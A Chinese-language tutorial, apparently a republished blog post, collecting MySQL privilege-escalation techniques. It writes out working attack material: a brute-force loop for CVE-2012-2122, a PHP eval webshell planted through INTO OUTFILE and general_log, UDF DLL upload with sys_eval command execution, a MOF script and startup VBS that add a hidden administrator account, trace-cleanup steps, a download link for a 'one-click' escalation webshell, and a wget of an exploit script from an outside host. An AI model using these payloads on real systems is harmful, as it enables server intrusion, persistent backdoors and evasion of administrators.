MySQL提权总结(建议收藏)

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
日志服务 SLS,月写入数据量 50GB 1个月
简介: MySQL提权总结(建议收藏)

前言

数据库权限

在平常的渗透提权中,我们通常可以在一些特殊情况下得到数据库的用户名和密码(最高权限root),如下:





MySQL 3306 端口弱口令爆破sqlmap 注入的 --sql-shell 模式网站的数据库配置文件中拿到明文密码信息CVE-2012-2122 等这类漏洞直接拿下 MySQL 权限

口令爆破、sqlmap的--sql-shell模式和数据库配置文件中拿明文密码已经老生常谈了,这里主要演示一下CVE-2012-2122

CVE-2012-2122

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。

#受影响版本

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.

MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

在vunlub中启动CVE-2012-2122环境

640.png

环境启动后用docker ps查看进程

640.png

可以看到启动了一个Mysql服务(版本:5.5.23),监听端口为3306端口,默认的root用户的密码为123456

我们可以使用mysql客户端进行远程连接数据库

640.png

连接测试就证明我们的环境正常搭建。然后就是漏洞利用了,正常模拟攻击者,我们是没有密码,不知道root的密码为123456的,这个时候我们就可以利用CVE-2012-2122来进行身份绕过

msf可以导出hash值


msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdumpmsf6 > set rhosts 192.168.178.128msf6 > run

或者直接bash输入

    root@root:~/桌面# for i in `seq 1 1000`; do mysql -u root --password=bad -h 192.168.178.128 2>/dev/null; doneWelcome to the MariaDB monitor.  Commands end with ; or \g.Your MySQL connection id is 854Server version: 5.5.23 Source distribution
    Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
    MySQL [(none)]>

    MySQL提权

    Webshell权限

    into oufile 写 shell

    into oufile 写 shell要满足如下条件才可以写入

      1、知道网站物理路径2、高权限数据库用户3、load_file() 开启 即 secure_file_priv 无限制4、网站路径有写入权限

      数据库查看是否有secure_file_priv限制

        mysql> show global variables like '%secure_file_priv%';+------------------+-------+| Variable_name    | Value |+------------------+-------+| secure_file_priv | NULL  |+------------------+-------+
        Value 说明
        NULL 不允许导入或导出
        / 只允许在 / 目录导入导出
        不限制目录

        在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

        在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

        利用phpmyadmin来into outfile

        首先在存在phpmyadmin时,我们可以试试弱口令,root、root来进行登录phpmyadmin后台。登录进去后我们获取网站的绝对路径来进行写shell

        在phpmyadmin中,我们可以利用log变量来猜测网站的绝对路径

        640.png

        这里是用phpstudy搭建的网站,所以猜测网站目录在WWW目录下,或者通过其他手段的信息收集,来收集到我们的网站绝对路径。

        有了网站路径,我们就可以执行SQL命令来进行写shell

        640.png

         写入失败,这里失败的原因是因为我们前面查询secure_file_priv值为null,所以权限就是不允许导入或导出,这里我们对secure_file_priv进行修改为空后,再进行写入。

        因为secure_file_priv为只读权限,所以我们打开my.ini文件,加入如下语句再重启服务器。

        secure_file_priv=''

        这时查看权限为所有目录下可写入

        640.png

        再次写入shell,会发现成功写入。

        640.png

        然后菜刀、蚁剑进行连接。

        640.png

        当然我么还可以利用sqlmap进行文件的写入,如下:

        sqlmap -u "http://x.x.x.x/?id=x" --file-write="c:/Users/suifeng/Desktop/shell.php" --file-dest="C:/phpstudy_pro/WWW/shell.php"

        当然这种写shell的方式,在MySQL 5.5之后已经很难实现了,因为MySQL 5.5之后值为NULL,在secure_file_priv没有导入导出权限的时候,我们还可以利用日志写shell。

        利用日志写shell

        在MySQL 5.0 版本以上会创建日志文件,我们可以通过修改日志的全局变量中的存储位置来 getshell

          mysql> SHOW VARIABLES LIKE '%general%';+------------------+-----------------------------------------------------------------+| Variable_name    | Value                                                           |+------------------+-----------------------------------------------------------------+| general_log      | OFF                                                             || general_log_file | C:\phpstudy_pro\Extensions\MySQL5.7.26\data\DESKTOP-1G2NI5V.log |+------------------+-----------------------------------------------------------------+

          general_log 默认关闭,高权限的用户可以直接通过mysql命令行进行开启,开启后日志文件记录用户的每条指令,将其保存在general_log _file中。我们可以通过开启general_log ,然后自定义general_log _file来进行getshell。

            mysql> set global general_log = "ON";   #开启general_logmysql> set global general_log_file='c:/phpstudy_pro/www/shell.php

            再次查看权限

            640.png

              #写入shellmysql> select "<?php @eval($_POST['suifeng']);?>";+-----------------------------------+| <?php @eval($_POST['suifeng']);?> |+-----------------------------------+| <?php @eval($_POST['suifeng']);?> |+-----------------------------------+

              然后蚁剑连接

              640.png

              服务器权限

              UDF提权

              什么是UDF

              UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用一些系统函数如version()函数便捷。

              动态链接库

              提权大致方法是把我们的动态链接库放置在特点的目录下,创建我们自定义函数,实现系统函数命令的调用,最终导致提权。

              在mysql<5.1  导出目录c:/windows或system32

              在mysql>=5.1  导出安装目录/lib/plugin/

              在有注入点时候,我们可以通过sqlmap中里的UDF动态链接库进行导入


              #sqlmap中动态链接库位置D:\tools\sqlmap\data\udf\mysql

              里面有windows和linux且64位和32位版本,大家可以根据被攻击器来进行选择

              640.png

              sqlmap中的动态链接库为了防止被杀毒软件查杀,都经过了编码处理,不能直接使用,所以我们还需要用sqlmap自带的解码工具clock.py进行解码

                #cloak位置D:\tools\sqlmap\extra\cloak#解码操作D:\tools\sqlmap\extra\cloak>python cloak.py -d -i d:\tools\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll  #windows解码
                D:\tools\sqlmap\extra\cloak>python cloak.py -d -i d:\tools\sqlmap\data\udf\mysq

                640.png

                动态链接库上传位置

                在上传动态链接库之前,我们要先对mysql的版本进行判断

                  #判断数据库版本mysql> select version();+-----------+| version() |+-----------+| 5.7.26    |+-----------+

                  这里被攻击的靶机版本为5.7.26,所以我们要把动态链接库上传到安装目录/lib/plugin/下面,那我们可以利用如下命令查找安装目录

                    mysql> show variables like '%plugin%';+-------------------------------+----------------------------------------------------+| Variable_name                 | Value                                              |+-------------------------------+----------------------------------------------------+| default_authentication_plugin | mysql_native_password                              || plugin_dir                    | C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\ |+-------------------------------+----------------------------------------------------+
                    mysql> select @@basedir;+-----------------------------------------+| @@basedir |+-----------------------------------------+| C:\phpstudy_pro\Extensions\MySQL5.7.26\ |+-----------------------------------------

                    640.png来到对应的目录下并没有发现/lib/plugin,所以我们需要自己创建一个/lib/plugin,但是真实环境下我们服务器权限还没有拿下(这里用是为了观察直观),所以我们可以在webshell环境下或者通过NTFS ADS流创建文件夹。


                      #NTFS ADS流创建语句mysql> select 'x' into dumpfile 'C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin::$INDEX_ALLOCATION';  #创建不一定成功,不成功的情况下还是利用webshell的权限创建目录

                      640.png

                      创建好后我们就可以导入我们的动态链接库了。

                      导入动态链接库

                      存在sql注入时

                      在存在sql注入的时候,我们可以通过sqlmap来上传动态链接库,但是需要满足的条件为secure_file_priv的值为空,sql注入为最高权限,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击。


                      python sqlmap.py -u "http://192.168.178.130/sqli-labs/Less-1/?id=1" --file-write="d:/tools/sqlmap/extra/cloak/lib_mysqludf_sys_64.dll" --file-dest="C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys_64.dll"

                      不存在sql注入时

                      没有sql注入时,我们可以通过执行sql语句来进行写入动态链接库,这里需要写入文件,所以需要secure_file_priv为空。


                      #select后面为动态链接库的十六进制编码(数据太长,这里省略显示)SELECT 0x4d5a900003... INTO DUMPFILE 'C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys_64.dll';

                      动态链接库的十六进制可以通过mysql自带的hex函数或者一些文件十六进制编码器工具解决。当然在sql语句写不进去的动态链接库的时候,我们还可以通过我们的webshell来进行上传。

                      文件上传完成后

                      640.png

                      我们就可以通过sql语句来自定义函数了

                        #原本执行代码CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.dll';#修改后执行代码CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

                        本来应该执行这条命令来自定义命令的,但是一直报错,后来我把dll文件名字修改之后,创建成功。(可能是下划线导致函数在编译情况下出问题)


                        #查询自定义函数mysql> select * from mysql.func;+----------+-----+---------+----------+| name     | ret | dl      | type     |+----------+-----+---------+----------+| sys_eval |   0 | udf.dll | function |+----------+-----+---------+----------+

                        #创建成功后,我们利用自定义函数进行命令执行mysql > select sys_eval('whoami');

                        640.png

                        然后用我们这个自定义命令执行函数进行提权即可。最后为了权限维持,防止被发现,我们可以对自定义函数进行删除。

                          #删除自定义函数mysql> drop function sys_eval;

                          这种手工UDF提权无疑太过繁琐,这里主要推荐通过网页版一键提权脚本,这里使用的是月师傅的马,下面是下载地址


                          链接:https://pan.baidu.com/s/1a5ASE2TLvnKsOUxsHKBjOw 提取码:v9s9

                          上传后访问

                          640.png

                          然后再导入,执行命令即可

                          640.png

                          MOF提权

                          现在通过mof文件来进行提权已经非常困难了,因为它支持提权版本只有2003和一些之前的版本。mof的提权原理为mof文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

                          mof脚本如下

                            #pragma namespace("\\\\.\\root\\subscription") 
                            instance of __EventFilter as $EventFilter {     EventNamespace = "Root\\Cimv2";     Name  = "filtP2";     Query = "Select * From __InstanceModificationEvent "             "Where TargetInstance Isa \"Win32_LocalTime\" "             "And TargetInstance.Second = 5";     QueryLanguage = "WQL"; }; 
                            instance of ActiveScriptEventConsumer as $Consumer {     Name = "consPCSV2";     ScriptingEngine = "JScript";     ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user suifeng p@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators suifeng /add\")";   #创建用户}; 
                            instance of __FilterToConsumerBinding {     Consumer   = $Consumer;     Filter = $EventFilter; };


                            首先我们将我们的脚本上传,然后用如下命令上传到指定目录。

                              select load_file("C:/Documents and Settings/suifeng.mof") into dumpfile "c:/windows/system32/wbem/mof/suifeng.mof";

                              然后等待五秒后用net user命令可以看到创建的用户

                              640.png

                              mof提权痕迹清理

                              因为每隔几秒钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件

                                #停止winmgmt服务net stop winmgmt#删除Repository文件夹rmdir /s /q C:\Windows\system32\wbem\Repository\#重新启动服务net start winmgmt


                                启动项提权

                                MySQL的启动项提权,原理就是通过mysql把一段vbs脚本导入到系统的启动项下,如果管理员启动或者重启的服务器,那么该脚本就会被调用,并执行vbs脚本里面的命令。

                                以下是启动项路径

                                  #2003C:\Documents and Settings\Administrator\Start Menu\Programs\StartupC:\Documents and Settings\All Users\Start Menu\Programs\Startup#2008C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartupC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup


                                  有了路径我们在mysql的shell下输入如下代码

                                    create table a (cmd text); insert into a values ("set wshshell=createobject (""wscript.shell"") " ); insert into a values ("a=wshshell.run (""cmd.exe /c net user suifeng p@ssw0rd /add"",0) " ); insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators suifeng /add"",0) " ); select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜

                                    640.png 然后我们在对应路径下就可以看到我们的vbs脚本了

                                    640.png

                                    然后重启,即可发现vbs脚本里面创建的用户。

                                    640.png

                                    CVE-2016-6663、CVE-2016-6664组合提权

                                    在一些Mysql小于5.5.51或小于5.6.32或小于5.7.14及衍生版本,我们都可以利用CVE-2016-6663、CVE-2016-6664组合对其进行测试提权。

                                    1、利用CVE-2016-6663将www-data权限提升为mysql权限:

                                      cd /var/www/html/gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient./mysql-privesc-race test 123456 localhost testdb

                                      2、利用CVE-2016-6664将Mysql权限提升为root权限:

                                        wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.shchmod 777 mysql-chowned.sh./mysql-chowned.sh /var/log/mysql/error.log
                                        相关实践学习
                                        如何在云端创建MySQL数据库
                                        开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
                                        全面了解阿里云能为你做什么
                                        阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
                                        目录
                                        相关文章
                                        |
                                        6月前
                                        |
                                        关系型数据库 MySQL Shell
                                        mysql数据库提权
                                        UDF提权是攻击者利用MySQL的自定义函数(如sys_eval, sys_exec)创建dll文件,获取系统shell权限。需有MySQL的插入和删除权限及写入dll的权限。不同版本MySQL的dll存放位置不同,通常在lib/plugin目录。信息收集包括检查secure_file_priv、操作系统、版本、路径等。获取udf文件可通过sqlmap(需解码)或msf,然后上传到相应目录。注意利用NTFS数据流创建目录。
                                        145 1
                                        |
                                        关系型数据库 MySQL Linux
                                        4.1 MySQL获取webshell及提权基础
                                        4.1 MySQL获取webshell及提权基础
                                        253 0
                                        |
                                        关系型数据库 MySQL 数据库
                                        mysql 提权
                                        UDF提权是利用MySQL的自定义函数功能,将MySQL账号转化为系统system权限 下载lib_mysqludf_sys程序 github:https://github.
                                        1202 0
                                        |
                                        SQL 存储 关系型数据库
                                        mysql udf提权
                                        mysql udf提权 本次测试环境 win2008 R2 Enterprise phpstudy2018 运行的版本是:php-5.4.45 + apache mysql版本:
                                        544 0
                                        |
                                        SQL 安全 关系型数据库
                                        [WEB安全]MySQl提权 mof、udf过程详解(下)
                                        [WEB安全]MySQl提权 mof、udf过程详解
                                        420 0
                                        [WEB安全]MySQl提权 mof、udf过程详解(下)
                                        |
                                        SQL 监控 安全
                                        [WEB安全]MySQl提权 mof、udf过程详解(上)
                                        [WEB安全]MySQl提权 mof、udf过程详解
                                        394 0
                                        [WEB安全]MySQl提权 mof、udf过程详解(上)
                                        |
                                        Ubuntu 关系型数据库 MySQL
                                        mysql的提权
                                        mysql的提权原理就是让mysql能够执行系统命令, 而对与mysql的提权主要分为两种:MOF提权和UDF提权 第一种: 参考文献: https://www.cnblogs.com/zhuyp1015/p/3561470.
                                        1924 0
                                        |
                                        关系型数据库 MySQL Shell